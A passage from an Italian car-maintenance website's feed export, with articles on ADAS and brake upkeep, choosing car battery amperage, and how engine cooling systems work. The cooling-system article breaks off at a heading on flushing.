<p class="wp-block-paragraph">Dal punto di vista della dinamica di marcia, l&#8217;inefficienza degli ammortizzatori altera radicalmente il comportamento dei sistemi elettronici di sicurezza attiva, i quali sono stati calibrati in fabbrica presupponendo che lo pneumatico mantenga una pressione di contatto costante e uniforme sulla superficie stradale. In caso di frenata d&#8217;emergenza su fondo sconnesso, la ruota priva di smorzamento tende a staccarsi ripetutamente dall&#8217;asfalto, inducendo la centralina dell&#8217;ABS a interpretare erroneamente questi micro-bloccaggi aerei come una perdita totale di aderenza, riducendo di conseguenza la pressione idraulica nel circuito frenante e allungando lo spazio di arresto in modo drammatico. Allo stesso modo, il sistema di controllo della stabilità ESP non riesce a contrastare efficacemente i fenomeni di sovrasterzo o sottosterzo se i trasferimenti di carico laterali avvengono in modo repentino e non frenato, mettendo il conducente nell&#8217;impossibilità di mantenere la traiettoria desiderata durante le manovre di schivata.</p>



<p class="wp-block-paragraph">La prevenzione e la cura meticolosa dell&#8217;assetto rappresentano quindi le fondamenta su cui poggia l&#8217;intera affidabilità stradale di un&#8217;automobile moderna, indipendentemente dalla sua potenza motoristica o dal suo valore di listino. Comprendere l&#8217;intima correlazione che lega un piccolo paraolio in gomma all&#8217;interno di un cilindro idraulico con la capacità del veicolo di arrestarsi in tempo utile davanti a un ostacolo improvviso è il primo passo verso una cultura della manutenzione consapevole e responsabile. Dedicare le giuste risorse al controllo periodico e alla sostituzione tempestiva degli elementi filtranti ed elastici del telaio permette di godere appieno delle doti dinamiche progettate dagli ingegneri, garantendo al contempo che ogni viaggio possa svolgersi nel segno del massimo comfort visivo, acustico e dinamico sulle tormentate strade del nostro territorio.</p>
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		<title>Come funzionano i sistemi ADAS e perché i freni restano fondamentali</title>
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		<dc:creator><![CDATA[Redazione GiornaleMotori]]></dc:creator>
		<pubDate>Wed, 18 Mar 2026 20:23:11 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Molti automobilisti si affidano ciecamente ai sistemi elettronici di bordo, ma senza freni in buono stato anche l&#8217;ADAS più avanzato non può salvarti. Ecco cosa fa davvero questa tecnologia e dove finiscono i suoi limiti. I sistemi ADAS (Advanced Driver Assistance Systems, ovvero sistemi avanzati di assistenza alla guida) sono oggi presenti su quasi tutte [&#8230;]</p>
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<p class="wp-block-paragraph">Molti automobilisti si affidano ciecamente ai sistemi elettronici di bordo, ma senza freni in buono stato anche l&#8217;ADAS più avanzato non può salvarti. Ecco cosa fa davvero questa tecnologia e dove finiscono i suoi limiti.</p>



<p class="wp-block-paragraph">I sistemi ADAS (<em>Advanced Driver Assistance Systems</em>, ovvero sistemi avanzati di assistenza alla guida) sono oggi presenti su quasi tutte le auto di nuova generazione. Si tratta di un insieme di tecnologie elettroniche progettate per ridurre il rischio di incidenti, supportare il conducente in situazioni critiche e, in certi casi, intervenire in modo autonomo sul veicolo. Dal luglio 2024, il regolamento europeo GSR2 (Regolamento UE 2019/2144) obbliga tutti i costruttori a installare specifici sistemi ADAS su ogni nuova auto venduta nell&#8217;Unione Europea un passo concreto verso l&#8217;obiettivo dichiarato di salvare 25.000 vite e prevenire 140.000 ferimenti gravi sulle strade europee. Il cruise control adattivo, il mantenimento della corsia, il monitoraggio degli angoli ciechi e la frenata automatica d&#8217;emergenza sono tra le funzioni più diffuse sulle vetture vendute in Italia e in Europa. Queste tecnologie lavorano in sinergia radar, telecamere e sensori a ultrasuoni raccolgono dati in tempo reale, elaborati da centraline che decidono se e come intervenire.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="625" height="347" src="https://www.giornalemotori.com/wp-content/uploads//2026/03/image.png" alt="image" class="wp-image-170528" title="Come funzionano i sistemi ADAS e perché i freni restano fondamentali 27" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/03/image.png 625w, https://www.giornalemotori.com/wp-content/uploads/2026/03/image-300x167.png 300w" sizes="(max-width: 625px) 100vw, 625px" /><figcaption>Come funzionano i sistemi ADAS e perché i freni restano fondamentali 29</figcaption></figure>



<p class="wp-block-paragraph"><strong>Infografica:</strong> <em>Regolamento GSR2.&nbsp; Le fasi: Luglio 2022 → 2024 → 2026</em> <em>(inserire immagine: timeline GSR2)</em></p>



<h2 class="wp-block-heading"><a></a><strong>Quali sistemi ADAS trovi sulle auto di oggi</strong></h2>



<figure class="wp-block-image size-full"><img decoding="async" width="625" height="347" src="https://www.giornalemotori.com/wp-content/uploads//2026/03/image-1.png" alt="image 1" class="wp-image-170529" title="Come funzionano i sistemi ADAS e perché i freni restano fondamentali 28" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/03/image-1.png 625w, https://www.giornalemotori.com/wp-content/uploads/2026/03/image-1-300x167.png 300w" sizes="(max-width: 625px) 100vw, 625px" /><figcaption>Come funzionano i sistemi ADAS e perché i freni restano fondamentali 30</figcaption></figure>



<p class="wp-block-paragraph">&nbsp;<strong>Infografica:</strong> <em>Come funziona la frenata automatica AEB — 4 fasi in meno di 3 secondi</em> <em>(inserire immagine: infografica AEB 4 blocchi)</em></p>



<p class="wp-block-paragraph">Il cruise control adattivo (ACC) mantiene automaticamente la distanza di sicurezza dal veicolo che precede, accelerando o decelerando senza che il guidatore debba toccare i pedali. È particolarmente utile in autostrada o nel traffico lento.</p>



<p class="wp-block-paragraph">Il Lane Keeping Assist (LKA) monitora le linee della carreggiata tramite telecamere frontali. Se il veicolo tende a uscire dalla corsia senza che sia stato attivato l&#8217;indicatore di direzione, il sistema corregge lo sterzo o avvisa il conducente con una vibrazione sul volante.</p>



<p class="wp-block-paragraph">Il Blind Spot Monitoring (BSM) utilizza sensori radar posizionati nella parte posteriore del veicolo per rilevare auto o moto negli angoli ciechi. Un segnale luminoso sullo specchietto avverte il guidatore prima che tenti un sorpasso o un cambio di corsia rischioso.</p>



<p class="wp-block-paragraph">La frenata automatica d&#8217;emergenza (AEB, Autonomous Emergency Braking) è probabilmente il sistema più importante dal punto di vista della sicurezza attiva. Quando i sensori rilevano un ostacolo imminente e il conducente non reagisce in tempo, il sistema interviene autonomamente sui freni per ridurre la velocità o evitare del tutto l&#8217;impatto.</p>



<h2 class="wp-block-heading"><a></a><strong>Perché l&#8217;ADAS non funziona senza freni in buono stato</strong></h2>



<p class="wp-block-paragraph">Qui sta il punto che molti sottovalutano: i sistemi ADAS non sono indipendenti dall&#8217;hardware del veicolo. La frenata automatica d&#8217;emergenza, per esempio, agisce direttamente sul circuito idraulico dei freni. Questo significa che se i dischi sono consumati, deformati o le pastiglie hanno raggiunto lo spessore minimo, la risposta frenante sarà comunque insufficiente — anche se è il computer a premere il &#8220;pedale&#8221;.</p>



<p class="wp-block-paragraph">In altre parole, la tecnologia può anticipare la reazione umana, ma non può compensare componenti usurate. Un sistema AEB che comanda la frenata su dischi rigati o pastiglie esaurite otterrà distanze di arresto molto più lunghe rispetto a quelle calcolate dal sistema in condizioni ottimali.</p>



<p class="wp-block-paragraph"><em>«La scelta dipende dal tipo di veicolo, dallo stile di guida e dal budget. Dischi freno difettosi possono essere riconosciuti da vibrazioni, rumori o graffi visibili sulla superficie. Queste parti d&#8217;usura devono essere sostituite quando si raggiunge lo spessore minimo.» </em>&#8211;&nbsp; <a href="https://www.auto-doc.it/info/migliori-dischi-freno" target="_blank" rel="noopener">Gli esperti di AUTODOC hanno confrontato i dischi dei freni</a></p>



<p class="wp-block-paragraph">AUTODOC, uno dei principali marketplace europei di ricambi auto, sottolinea come la manutenzione del sistema frenante non sia mai una voce secondaria, soprattutto su veicoli equipaggiati con sistemi ADAS. Le vibrazioni al pedale del freno, i rumori metallici durante la frenata o i graffi visibili sui dischi sono segnali che non vanno ignorati e che possono compromettere l&#8217;efficacia di tutti i sistemi elettronici di assistenza.</p>



<h2 class="wp-block-heading"><a></a><strong>Cosa fare per mantenere l&#8217;ADAS efficace nel tempo</strong></h2>



<p class="wp-block-paragraph">L&#8217;ADAS non è autopilota. Ogni sistema ha margini di funzionamento precisi: condizioni atmosferiche avverse, segnaletica danneggiata o sensori sporchi possono ridurne l&#8217;affidabilità. Il conducente rimane responsabile della guida in ogni momento.</p>



<p class="wp-block-paragraph">Ecco le buone pratiche da seguire:</p>



<ul class="wp-block-list">
<li>Controllare regolarmente lo spessore di dischi e pastiglie, soprattutto su auto con AEB e ACC attivi.</li>



<li>Non trascurare i segnali di usura: vibrazioni, rumori, allungamento della distanza di frenata sono spie chiare.</li>



<li>Aggiornare il software dei sistemi ADAS quando il costruttore rilascia aggiornamenti, per garantire il corretto funzionamento dei sensori.</li>



<li>Non coprire o sporcare telecamere e radar: sono gli &#8220;occhi&#8221; dell&#8217;ADAS.</li>
</ul>



<p class="wp-block-paragraph">In definitiva, i sistemi ADAS rappresentano un salto reale nella sicurezza stradale attiva. Ma funzionano al massimo solo quando il veicolo è in perfette condizioni meccaniche. Investire nella manutenzione dei freni non è mai un costo superfluo — è la base su cui ogni tecnologia di assistenza costruisce la sua efficacia.</p>



<p class="wp-block-paragraph"><strong>Fonti</strong></p>



<ul class="wp-block-list">
<li><a href="https://www.auto-doc.it/pezzi-di-ricambio/sistema-frenante" target="_blank" rel="noopener">Maggiori informazioni sui freni delle auto su auto-doc.it</a></li>



<li><a href="https://scaimotor.it/blog/sistemi-adas/" target="_blank" rel="noopener">Sistemi ADAS: cosa sono e come migliorano la sicurezza alla guida — Scai Motor</a></li>



<li>Regolamento UE 2019/2144 (GSR2) — Commissione Europea</li>
</ul>
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		<title>Amperaggio batteria auto: quale scegliere in base al motore</title>
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		<dc:creator><![CDATA[Redazione GiornaleMotori]]></dc:creator>
		<pubDate>Wed, 14 Jan 2026 00:13:00 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Batteria auto]]></category>
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					<description><![CDATA[<p>La batteria scarica resta uno dei guasti più frequenti che lasciano gli automobilisti a piedi, spesso proprio nei momenti meno opportuni come una mattina d&#8217;inverno o prima di un appuntamento importante. Scegliere l&#8217;amperaggio corretto non è un dettaglio tecnico riservato ai meccanici, ma una decisione che determina l&#8217;affidabilità quotidiana della tua vettura e la durata [&#8230;]</p>
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										<content:encoded><![CDATA[
<p class="wp-block-paragraph">La batteria scarica resta uno dei guasti più frequenti che lasciano gli automobilisti a piedi, spesso proprio nei momenti meno opportuni come una mattina d&#8217;inverno o prima di un appuntamento importante.</p>



<p class="wp-block-paragraph">Scegliere l&#8217;<strong>amperaggio corretto</strong> non è un dettaglio tecnico riservato ai meccanici, ma una decisione che determina l&#8217;affidabilità quotidiana della tua vettura e la durata dell&#8217;investimento. In questa guida scoprirai come individuare il valore giusto in base al tipo di motore, evitando errori comuni che potrebbero costarti caro.</p>



<h2 class="wp-block-heading"><a></a><strong>Cosa indica l&#8217;amperaggio di una batteria auto e perché è importante</strong></h2>



<p class="wp-block-paragraph">L&#8217;<strong>amperaggio della batteria auto</strong>, espresso in <strong>Ampere-ora (Ah)</strong>, rappresenta la capacità di immagazzinare energia elettrica e rilasciarla nel tempo per alimentare tutti i componenti del veicolo.</p>



<p class="wp-block-paragraph">Per farti un&#8217;idea concreta, una batteria da <strong>70 Ah</strong> può teoricamente erogare 70 ampere per un&#8217;ora, oppure 7 ampere per dieci ore, funzionando come un vero e proprio serbatoio di elettricità invisibile sotto il cofano.</p>



<p class="wp-block-paragraph">Questo valore determina quante volte puoi tentare l&#8217;avviamento, quanto a lungo puoi lasciare accesi i fari a motore spento e con quanta sicurezza affronterai le temperature rigide invernali.</p>



<h2 class="wp-block-heading"><a></a><strong>Differenza tra Ampere-ora (Ah) e corrente di spunto (CCA)</strong></h2>



<p class="wp-block-paragraph">Molti automobilisti confondono gli <strong>Ah</strong> con la <strong>corrente di spunto (CCA &#8211; Cold Cranking Amps)</strong>, ma si tratta di due parametri completamente diversi che rispondono a esigenze distinte.</p>



<p class="wp-block-paragraph">Gli Ampere-ora indicano la capacità complessiva della batteria, mentre i CCA misurano quanti ampere la batteria riesce a erogare per 30 secondi a -18°C mantenendo una tensione minima di 7,2 volt, quindi la potenza disponibile per far girare il motorino d&#8217;avviamento nelle condizioni più difficili.</p>



<p class="wp-block-paragraph">Esiste una regola pratica utile da ricordare: la <strong>corrente di spunto</strong> è solitamente circa 8 volte superiore al valore in Ah, quindi una batteria da 60 Ah offre indicativamente 480A di spunto, mentre una da 100 Ah arriva a circa 800A.</p>



<h2 class="wp-block-heading"><a></a><strong>Quale amperaggio scegliere in base al tipo di motore</strong></h2>



<p class="wp-block-paragraph">I <strong>motori benzina</strong> di piccola e media cilindrata si trovano generalmente a loro agio con batterie da <strong>50-60 Ah</strong>, mentre le motorizzazioni più generose richiedono almeno <a href="https://www.norauto.it/c/50414-batteria-70ah.html" target="_blank" rel="noopener">batterie da 70 ampere</a>, che rappresenta oggi lo standard più diffuso nel parco auto italiano.</p>



<p class="wp-block-paragraph">La situazione cambia radicalmente con i <strong>motori diesel</strong>: un 1.6 turbodiesel necessita già di 60-70 Ah per vincere la resistenza meccanica della compressione elevata, i 2.0 litri common-rail pretendono 70-80 Ah come minimo, e i turbodiesel oltre i 2.5 litri non scendono sotto gli 80-95 Ah con punte di 110 Ah per i propulsori da lavoro.</p>



<p class="wp-block-paragraph">Per quanto riguarda le <strong>motorizzazioni ibride</strong>, i sistemi mild-hybrid richiedono 60-70 Ah con tecnologia EFB o AGM, mentre i full-hybrid utilizzano batterie dedicate superiori ai 70 Ah; nelle <strong>auto elettriche pure</strong> la batteria da 12V ha un ruolo diverso e le tecnologie più avanzate come le <strong>batterie al grafene</strong> stanno aprendo nuove frontiere in termini di densità energetica e tempi di ricarica.</p>



<p class="wp-block-paragraph">In questo ultimo caso, ti consigliamo anche di dare un’occhiata alla nostra guida sulla <a href="https://www.giornalemotori.com/2023/08/02/manutenzione-delle-auto-elettriche-5-punti-fondamentali/">manutenzione delle auto elettriche</a>, dove troverai anche alcuni spunti interessanti in merito alla gestione della batteria.</p>



<h2 class="wp-block-heading"><a></a><strong>Quando conviene installare una batteria con amperaggio superiore</strong></h2>



<p class="wp-block-paragraph">Se utilizzi l&#8217;auto prevalentemente per <strong>tragitti brevi in città</strong>, con frequenti accensioni e spegnimenti che non permettono all&#8217;alternatore di ricaricare completamente la batteria, optare per un amperaggio superiore a quello di serie può rivelarsi una scelta intelligente.</p>



<p class="wp-block-paragraph">Lo stesso discorso vale per i veicoli dotati di <strong>sistemi Start&amp;Stop</strong> e ricchi di accessori elettronici come navigatori, telecamere, sensori di parcheggio e sistemi di infotainment che drenano energia anche a motore spento durante le soste ai semafori.</p>



<p class="wp-block-paragraph">C&#8217;è però un&#8217;avvertenza fondamentale: puoi tranquillamente montare una batteria con <strong>Ah leggermente superiori</strong> (ad esempio 77 Ah invece di 70 Ah se il costruttore lo consente), ma non devi mai installare una batteria con <strong>voltaggio diverso</strong> da quello previsto, che nelle auto moderne è sempre 12V.</p>



<h2 class="wp-block-heading"><a></a><strong>Come verificare l&#8217;amperaggio corretto per la tua auto</strong></h2>



<p class="wp-block-paragraph">Il metodo più affidabile per conoscere l&#8217;amperaggio giusto è consultare il <strong>libretto di uso e manutenzione</strong> nella sezione dedicata alle specifiche elettriche, dove il costruttore indica con precisione la capacità richiesta e spesso anche eventuali valori alternativi ammessi.</p>



<p class="wp-block-paragraph">Se il manuale non è disponibile, puoi leggere direttamente l&#8217;<strong>etichetta sulla batteria attualmente installata</strong>: una scritta come &#8220;12V/70Ah/640A&#8221; ti fornisce in sequenza il voltaggio, la capacità in Ampere-ora e la corrente di spunto.</p>



<p class="wp-block-paragraph">In alternativa, rivolgiti al tuo meccanico di fiducia oppure utilizza i configuratori online dei principali produttori di batterie, dove inserendo marca, modello e anno della vettura otterrai l&#8217;indicazione precisa delle batterie compatibili.</p>



<p class="wp-block-paragraph">Scegliere la <strong>batteria con l&#8217;amperaggio corretto</strong> significa garantire avviamenti affidabili in ogni condizione climatica e prolungare la vita dell&#8217;intero impianto elettrico del veicolo.</p>



<p class="wp-block-paragraph">Ricorda che investire qualche euro in più per una batteria di qualità superiore, magari con tecnologia <strong>AGM o EFB</strong> se possiedi un&#8217;auto con Start&amp;Stop, si traduce in maggiore durata e minori preoccupazioni nel tempo. Ora che conosci i criteri fondamentali per la scelta, verifica i dati della tua auto e assicurati di non farti trovare impreparato al prossimo cambio batteria.</p>
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		<title>Sistema di raffreddamento, Principi generali composizione funzionamento</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 11 Jan 2026 15:16:30 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Ultimi articoli]]></category>
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					<description><![CDATA[<p>Nelle auto moderne, il raffreddamento avviene prevalentemente attraverso la circolazione di un liquido dedicato. Il sistema sfrutta un circuito chiuso in cui scorre una miscela di acqua e additivi concepiti per assorbire il calore generato dal motore. La circolazione è gestita da una pompa e regolata da un termostato, mentre l&#8217;abbassamento della temperatura del fluido [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Nelle auto moderne, il raffreddamento avviene prevalentemente attraverso la circolazione di un liquido dedicato. Il sistema sfrutta un <strong>circuito chiuso</strong> in cui scorre una miscela di acqua e additivi concepiti per assorbire il calore generato dal motore. La circolazione è gestita da una pompa e regolata da un termostato, mentre l&#8217;abbassamento della temperatura del fluido è affidato al radiatore e all&#8217;azione di una ventola.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="945" height="655" src="https://www.giornalemotori.com/wp-content/uploads//2026/01/Sistema_di_raffreddamento_Volkswagen_UP.png" alt="Sistema di raffreddamento Volkswagen UP" class="wp-image-168268" title="Sistema di raffreddamento, Principi generali composizione funzionamento 31" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/01/Sistema_di_raffreddamento_Volkswagen_UP.png 945w, https://www.giornalemotori.com/wp-content/uploads/2026/01/Sistema_di_raffreddamento_Volkswagen_UP-768x532.png 768w, https://www.giornalemotori.com/wp-content/uploads/2026/01/Sistema_di_raffreddamento_Volkswagen_UP-300x208.png 300w, https://www.giornalemotori.com/wp-content/uploads/2026/01/Sistema_di_raffreddamento_Volkswagen_UP-696x482.png 696w" sizes="(max-width: 945px) 100vw, 945px" /><figcaption>Sistema di raffreddamento, Principi generali composizione funzionamento 45</figcaption></figure>



<h3 class="wp-block-heading">L&#8217;evoluzione nelle auto moderne e ibride</h3>



<p class="wp-block-paragraph">Nelle vetture attuali dotate di tecnologia ibrida, il calore viene dissipato tramite radiatori che spesso gestiscono <strong>due circuiti separati</strong>. Esiste un tracciato specifico per il motore endotermico e uno dedicato al raffreddamento della turbina o dei pacchi batteria, dove presenti. Questo sdoppiamento permette di ottimizzare le diverse temperature d&#8217;esercizio richieste dai vari componenti.</p>



<h3 class="wp-block-heading">Efficienza e riduzione delle emissioni</h3>



<p class="wp-block-paragraph">Il controllo e l&#8217;ottimizzazione della temperatura non servono solo a garantire la durata del motore, ma migliorano sensibilmente l&#8217;efficienza. Nelle auto di ultima generazione, la gestione termica è fondamentale durante la fase di <strong>warm-up</strong> (riscaldamento), necessaria per ridurre le emissioni inquinanti nel minor tempo possibile. La centralina utilizza sensori e pompe elettriche per un controllo preciso e costante, essenziale soprattutto nei veicoli ibridi ed elettrici.</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="600" height="400" src="https://www.giornalemotori.com/wp-content/uploads//2026/01/liquido-di-raffredamento.jpg" alt="liquido di raffredamento" class="wp-image-168269" style="width:888px;height:auto" title="Sistema di raffreddamento, Principi generali composizione funzionamento 32" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/01/liquido-di-raffredamento.jpg 600w, https://www.giornalemotori.com/wp-content/uploads/2026/01/liquido-di-raffredamento-300x200.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /><figcaption>Sistema di raffreddamento, Principi generali composizione funzionamento 46</figcaption></figure>



<h3 class="wp-block-heading">Il liquido refrigerante: composizione e proprietà</h3>



<p class="wp-block-paragraph">Il liquido refrigerante è composto da una miscela di acqua distillata e antigelo con proprietà anticorrosive. È essenziale per trasferire il calore, prevenire il congelamento nei mesi invernali e resistere all&#8217;ebollizione (che avviene a temperature più elevate rispetto alla semplice acqua). La sua funzione principale è proteggere l&#8217;integrità del sistema mantenendo costante la temperatura di esercizio.</p>



<h3 class="wp-block-heading">La pompa dell&#8217;acqua: meccanica vs elettrica</h3>



<p class="wp-block-paragraph">La pompa dell&#8217;acqua è l&#8217;elemento che spinge il liquido attraverso il blocco motore e il radiatore. Sebbene esistano ancora pompe di tipo meccanico (mosse dalla cinghia di distribuzione), si stanno diffondendo sempre più le <strong>pompe elettriche</strong>. Queste ultime garantiscono un controllo più preciso e una portata variabile, assorbendo meno energia e contribuendo alla riduzione dei consumi complessivi dell&#8217;auto.</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="720" height="720" src="https://www.giornalemotori.com/wp-content/uploads//2026/01/S70c4808ea4ce455c925760a781c00276H.jpg_720x720q75.jpg_.avif" alt="" class="wp-image-168270" style="width:872px;height:auto" title="Sistema di raffreddamento, Principi generali composizione funzionamento 33" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/01/S70c4808ea4ce455c925760a781c00276H.jpg_720x720q75.jpg_.avif 720w, https://www.giornalemotori.com/wp-content/uploads/2026/01/S70c4808ea4ce455c925760a781c00276H.jpg_720x720q75.jpg_-150x150.avif 150w, https://www.giornalemotori.com/wp-content/uploads/2026/01/S70c4808ea4ce455c925760a781c00276H.jpg_720x720q75.jpg_-300x300.avif 300w, https://www.giornalemotori.com/wp-content/uploads/2026/01/S70c4808ea4ce455c925760a781c00276H.jpg_720x720q75.jpg_-696x696.avif 696w" sizes="(max-width: 720px) 100vw, 720px" /><figcaption>Sistema di raffreddamento, Principi generali composizione funzionamento 47</figcaption></figure>



<h3 class="wp-block-heading">Il termostato e la gestione elettronica</h3>



<p class="wp-block-paragraph">Il termostato è una valvola che regola il flusso del liquido: resta chiusa per permettere al motore di scaldarsi velocemente e si apre per inviare il fluido al radiatore solo al raggiungimento della temperatura ottimale. Nei sistemi moderni, il termostato è spesso gestito elettronicamente per superare rapidamente la fase di riscaldamento, riducendo la produzione di gas inquinanti tipica dei primi minuti di funzionamento.</p>



<h3 class="wp-block-heading">Il radiatore e l&#8217;aerodinamica attiva</h3>



<p class="wp-block-paragraph">Il radiatore è uno scambiatore di calore ad alette posizionato frontalmente per sfruttare l&#8217;aria esterna. Il suo tappo sigillante controlla anche gli eccessi di sovrappressione, convogliando il liquido in eccesso verso la vaschetta di recupero. Per migliorare l&#8217;efficienza aerodinamica, molte auto moderne utilizzano <strong>condotti e paratie mobili</strong> (shutter) che si chiudono per trattenere il calore nel vano motore o si aprono per aumentare il flusso d&#8217;aria solo quando strettamente necessario.</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="663" height="429" src="https://www.giornalemotori.com/wp-content/uploads//2026/01/z1.png" alt="z1" class="wp-image-168271" style="width:912px;height:auto" title="Sistema di raffreddamento, Principi generali composizione funzionamento 34" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/01/z1.png 663w, https://www.giornalemotori.com/wp-content/uploads/2026/01/z1-300x194.png 300w" sizes="(max-width: 663px) 100vw, 663px" /><figcaption>Sistema di raffreddamento, Principi generali composizione funzionamento 48</figcaption></figure>



<h3 class="wp-block-heading">La ventola di raffreddamento</h3>



<p class="wp-block-paragraph">La ventola consente di smaltire il calore quando il flusso d&#8217;aria naturale è insufficiente, ad esempio durante le soste o a basse velocità. Azionata elettricamente o meccanicamente, forza l&#8217;aria attraverso le alette del radiatore garantendo lo scambio termico anche quando le paratie aerodinamiche sono chiuse o il veicolo è fermo.</p>



<h3 class="wp-block-heading">Il vaso di espansione</h3>



<p class="wp-block-paragraph">Quando la temperatura e la pressione interna al sistema aumentano, il liquido subisce una variazione di volume. Il <strong>vaso di espansione</strong> è il contenitore che accoglie il liquido in eccesso espulso attraverso la valvola del tappo sigillante, compensando le variazioni volumetriche e mantenendo il sistema in equilibrio senza perdite.</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="650" height="366" src="https://www.giornalemotori.com/wp-content/uploads//2026/01/limpianto-di-raffreddamento-del-motore.jpg" alt="limpianto di raffreddamento del motore" class="wp-image-168272" style="width:912px;height:auto" title="Sistema di raffreddamento, Principi generali composizione funzionamento 35" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/01/limpianto-di-raffreddamento-del-motore.jpg 650w, https://www.giornalemotori.com/wp-content/uploads/2026/01/limpianto-di-raffreddamento-del-motore-300x169.jpg 300w" sizes="(max-width: 650px) 100vw, 650px" /><figcaption>Sistema di raffreddamento, Principi generali composizione funzionamento 49</figcaption></figure>



<h3 class="wp-block-heading">Sensori e centralina: il cervello termico</h3>



<p class="wp-block-paragraph">Il sensore di temperatura è un componente critico che comunica costantemente con la centralina (ECU). Monitorando i dati in tempo reale, la centralina decide quando aprire la valvola termostatica o attivare la ventola (spesso dotata di più velocità di rotazione) per gestire le fasi più critiche della dissipazione del calore.</p>



<h3 class="wp-block-heading">Riepilogo del ciclo di funzionamento</h3>



<p class="wp-block-paragraph">In sintesi, il liquido assorbe il calore dal motore e viene spinto dalla pompa verso il termostato. Se il motore è freddo, il liquido continua a circolare solo all&#8217;interno del blocco; se è caldo, la valvola si apre e il fluido scorre nel radiatore. Qui viene raffreddato dall&#8217;aria (naturale o forzata dalla ventola) prima di tornare al motore per ricominciare il ciclo di protezione delle parti in movimento.</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="640" height="480" src="https://www.giornalemotori.com/wp-content/uploads//2026/01/6372917-orig.jpg" alt="6372917 orig" class="wp-image-168273" style="width:885px;height:auto" title="Sistema di raffreddamento, Principi generali composizione funzionamento 36" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/01/6372917-orig.jpg 640w, https://www.giornalemotori.com/wp-content/uploads/2026/01/6372917-orig-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2026/01/6372917-orig-265x198.jpg 265w" sizes="(max-width: 640px) 100vw, 640px" /><figcaption>Sistema di raffreddamento, Principi generali composizione funzionamento 50</figcaption></figure>



<h3 class="wp-block-heading">Gestione dei componenti critici e pompe EWP</h3>



<p class="wp-block-paragraph">Nelle auto di ultima generazione, l&#8217;uso di pompe elettriche (<strong>EWP &#8211; Electric Water Pump</strong>) permette un flusso indipendente dai giri del motore. Questo è fondamentale per i motori turbo: la pompa può continuare a girare anche dopo lo spegnimento dell&#8217;auto (fase di <em>after-run</em>), evitando che il calore residuo danneggi la turbina dopo un utilizzo intenso, come un lungo tragitto autostradale.</p>



<h3 class="wp-block-heading">Raffreddamento misto e gestione termica globale</h3>



<p class="wp-block-paragraph">Esistono sistemi a raffreddamento misto che combinano l&#8217;azione del liquido refrigerante con quella dell&#8217;olio lubrificante e dell&#8217;aria per proteggere parti specifiche come la testata e il blocco cilindri. La gestione termica totale è regolata dalla centralina per mantenere il <strong>powertrain</strong> alla temperatura ideale, garantendo la massima efficienza ambientale.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="576" src="https://www.giornalemotori.com/wp-content/uploads//2026/01/origin-1024x576.jpg" alt="origin" class="wp-image-168274" title="Sistema di raffreddamento, Principi generali composizione funzionamento 37" srcset="https://www.giornalemotori.com/wp-content/uploads/2026/01/origin-1024x576.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2026/01/origin-768x432.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2026/01/origin-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2026/01/origin-696x392.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2026/01/origin.jpg 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Sistema di raffreddamento, Principi generali composizione funzionamento 51</figcaption></figure>



<h3 class="wp-block-heading">La scomparsa degli indicatori di temperatura</h3>



<p class="wp-block-paragraph">Paradossalmente, l&#8217;estrema precisione dei sistemi moderni ha portato molti costruttori a eliminare l&#8217;indicatore della temperatura dal cruscotto, sostituendolo con una semplice spia luminosa (blu per motore freddo, rossa per surriscaldamento). Questo approccio, tuttavia, può risultare rischioso per il conducente, poiché la segnalazione di un problema spesso avviene quando il surriscaldamento è già in fase critica.</p>



<h3 class="wp-block-heading">Gestione e manutenzione delle auto moderne </h3>



<p class="wp-block-paragraph">Da decenni l&#8217;acqua del rubinetto è stata bandita dai sistemi di raffreddamento, inclusi quelli delle auto storiche e da collezione. Nei sistemi moderni, specialmente negli ibridi, la manutenzione è diventata una questione di <strong>chimica applicata</strong>. È fondamentale utilizzare esclusivamente il liquido specifico indicato dal costruttore, poiché contiene additivi progettati per proteggere le guarnizioni e prevenire la <strong>corrosione galvanica</strong>, particolarmente pericolosa nei circuiti che passano in prossimità dei pacchi batteria.</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="275" height="183" src="https://www.giornalemotori.com/wp-content/uploads//2026/01/images-1.jpg" alt="images 1" class="wp-image-168275" style="width:888px;height:auto" title="Sistema di raffreddamento, Principi generali composizione funzionamento 38"><figcaption>Sistema di raffreddamento, Principi generali composizione funzionamento 52</figcaption></figure>



<h3 class="wp-block-heading">Il decadimento chimico: test di densità e pH</h3>



<p class="wp-block-paragraph">Il controllo del liquido refrigerante non riguarda più solo il livello. Il fluido subisce un decadimento chimico: con il tempo tende a diventare acido, iniziando a corrodere i componenti interni dall&#8217;interno. Per questo motivo, durante ogni tagliando, un tecnico specializzato deve testare non solo il punto di congelamento, ma anche il <strong>valore del pH</strong>. Un livello costante non garantisce, da solo, che il liquido sia ancora efficace.</p>



<h3 class="wp-block-heading">L&#8217;operazione di &#8220;Flushing&#8221;: il lavaggio del circuito</h3>



